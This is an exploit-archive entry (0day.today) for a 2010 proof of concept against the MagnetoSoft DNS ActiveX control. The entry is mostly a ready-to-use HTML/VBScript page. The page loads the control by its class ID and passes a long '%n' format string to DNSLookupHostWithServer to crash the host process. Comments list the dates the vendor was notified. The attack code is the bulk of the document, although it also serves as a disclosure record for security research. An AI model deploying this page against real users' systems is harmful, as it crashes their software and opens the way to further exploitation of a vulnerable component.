MagnetoSoft DNS ActiveX DNSLookupHostWithServer POC

2010-04-13T00:00:00
ID 1337DAY-ID-11778
Type zdt
Reporter s4squatch
Modified 2010-04-13T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            ===================================================
MagnetoSoft DNS ActiveX DNSLookupHostWithServer POC
===================================================

<html>
<object classid='clsid:B5ED1577-4576-11D5-851F-00D0B7A934F6' id='target' /></object>
<script language='vbscript'>
'Magneto Software ActiveX Control ICMP Crash POC
'Discovered by:  s4squatch
'Site:  www.securestate.com
'Date Discovered: 02/11/10
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'www:  http://www.magnetosoft.com/products/skdns/skdns_features.htm
'Download:  http://www.magnetosoft.com/downloads/skdns_setup.exe
'SKNetResource.ocx
'Function DNSLookupHostWithServer ( ByVal strHostName As String ,  ByVal strNameServer As String ) As Long
'progid = "SKDNSLib.SKDns"
 
arg1 = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
arg2 = "defaultV"
target.DNSLookupHostWithServer arg1 ,arg2
 
</script>



#  0day.today [2018-04-02]  #